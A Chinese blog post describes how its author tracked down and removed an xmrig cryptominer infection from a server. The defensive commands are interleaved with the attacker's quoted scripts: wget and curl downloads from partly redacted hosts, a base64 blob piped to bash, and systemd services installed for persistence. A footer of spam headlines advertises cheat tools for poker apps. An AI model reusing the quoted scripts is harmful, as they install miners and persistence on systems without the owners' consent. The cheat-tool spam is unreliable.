Xmrig挖矿入侵服务器排查
创始人
2025-01-16 13:06:09
0

Xmrig挖矿入侵服务器排查

type: Post
status: Published
date: 2024/03/19
slug: 240319-xmrig
tags: 建站, 开发, 推荐
category: 技术分享

契机

⚙ 叮咚!阿里云提示你,你的服务器正在被攻击!

问题

Untitled

排查思路

#上去服务器先看看这个文件 ps aux | grep xmrig 

Untitled

#排查下pid关联的文件 -> 没啥收获 ll /proc/{pid}/fd  #查看网络链接,记住关键ip netstat -tunap | grep {pid} #kill再说 kill -9 {pid} #然后全局查找文件(这里要记住文件大概什么时候创建的) find / -name xmrig #rm -rf xmrig相关 rm -rf {xxxx} #检查下定时任务,该取消就取消 crontab -l #再检查下xmrig相关后台程序 -> 我这里使用xmrig关键字没搜到 systemctl list-units --type=service  | grep xmrig 

不出意外的话,5分钟后xmrig又被拉起来了,现在我们知道他有守护程序了。

#查询服务器网络链接,看起来可疑ip记录下pid netstat -tunap  #看看所有的程序 ps aux #以上两个步骤我基本确定下面这个pid很可疑,在看下文件创建时间,与xmrig创建时间一致 /opt/sysetmd 9x25 481.x1.x1.4x #依然看看关联文件->没收获 ll /proc/{pid}/fd  #再kill掉 kill -9 {pid} #删除文件sysetmd相关 rm -rf {xxxx} #再去找自启动服务 这个确实找到了 systemctl list-units --type=service  | grep sysetmd 

Untitled

#直接给他停掉 systemctl stop  sysetmd.service systemctl disable sysetmd.service rm -f /etc/systemd/system/sysetmd.service 

额外收获,发现/etc/systemd/system下有个自启动的service名字和创建时间很可疑

Untitled

#cat查看下 cat monero.service  #文件内容如下,发现xmrig就是这个拉起来的 [Unit] Description=Monero miner service node  [Service] ExecStart=/root/xmrig-6.21.1/xmrig --donate-level 1 -o xxxxxxx Restart=always  [Install]  #直接给他停掉 systemctl stop  monero.service systemctl disable monero.service rm /etc/systemd/system/monero.service  #然后持续观察以下内容 ps aux  top -c netstat -tunap  

最后防止还有其他守护程序被拉起来,再看看对应时间点有哪些文件增加

#查找某个时间段的文件 #忽略/proc文件夹 find / -type d \( -path /proc -o -path /var/lib/docker -o -path /mnt/www/docker -o -path /usr/local/aegis  \) -prune -o -type f -newermt "2024-03-18 00:00:00" ! -newermt "2024-03-19 00:00:00" -print 

Untitled

#找到wawa.sh和update_udp.sh很可疑  #wawa.sh如下 cd /root; wget http://1187xxxxxom/xmrig-6.21.1-linux-static-x64.tar.gz; tar -zxvf xmrig-6.21.1-linux-static-x64.tar.gz; systemctl stop monero.service; rm -rf /etc/systemd/system/monero.service; wget http://xxxxon/monero.service; sysctl -w vm.nr_hugepages=$((1168+$(nproc))); mv monero.service /etc/systemd/system/monero.service; systemctl daemon-reload; systemctl enable monero.service; systemctl start monero.service  #update_udp.sh如下 echo "xxxx==base64encodeexxxxxx"|base64 -di|bash -s #base64解谜如下 curl -s http:/x7/libhv.so -o /opt/libhv.so; cp /opt/libhv.so /usr/lib/libhv.so; cp /opt/libhv.so /usr/lib64/libhv.so; curl -s http://bpxysetmd -o /opt/sysetmd; chmod 777 /opt/sysetmd; curl -s http://bpgx27/sysetmd.service -o /etc/systemd/system/sysetmd.service;systemctl daemon-reload; systemctl enable sysetmd.service; systemctl start sysetmd.service; 

发现和我清除的一致,再持续观察一段时间,还有这个人是真的蠢,为什么部署sh还要留下

总结

  • 找被黑时间左右的所有文件一个一个排查
  • 找文件关联pid
  • 找pid关联fd,端口,ip等
  • 找相关service,排查异常servcie,定时任务全部停止
  • 持续观察cpu,网络等信息

写到最后

  • https://bothsavage.github.io/ 

Untitled

相关内容

热门资讯

透视举措!aapoker万能辅... 透视举措!aapoker万能辅助器,AApoker发牌一贯存在有教程,第一分钟教程(详细教程)该软件...
透视线上!wepoker破解器... 透视线上!wepoker破解器激活码,微信小程序微乐辅助器免费下载,解密透视(有挂方略)-哔哩哔哩1...
透视辅助!hhpoker德州透... 透视辅助!hhpoker德州透视挂,hhpoker德州真的假的(透视)总是真的有技巧(哔哩哔哩)1、...
透视绝活!wepoker祈福有... 透视绝活!wepoker祈福有用吗,WePoKer机器人一贯是真的有工具,四分钟教程(有挂详细)1、...
透视神器!aapoker脚本怎... 透视神器!aapoker脚本怎么用,微乐手游脚本辅助,解密透视(存在有挂)-哔哩哔哩小薇(辅助器软件...
透视举措!hhpoker免费辅... 您好,hhpoker免费辅助器这款游戏可以开挂的,确实是有挂的,需要了解加去威信【136704302...
透视开挂!wepoker私人局... 您好,epoker透视这款游戏可以开挂的,确实是有挂的,需要了解加去威信【485275054】很多玩...
透视神器!hhpoker破解工... 透视神器!hhpoker破解工具,微乐自建房脚本下载,开挂透视(有挂头条)-哔哩哔哩1、完成hhpo...
透视方针!模拟器打开hhpok... 透视方针!模拟器打开hhpoker,HHpoker透视器好像有教程,九分钟教程(有挂技巧)1、操作简...
透视科普!wpk有作必弊吗,w... 透视科普!wpk有作必弊吗,wpk私人局辅助是真的吗(透视)其实是真的技巧(哔哩哔哩)1、操作简单,...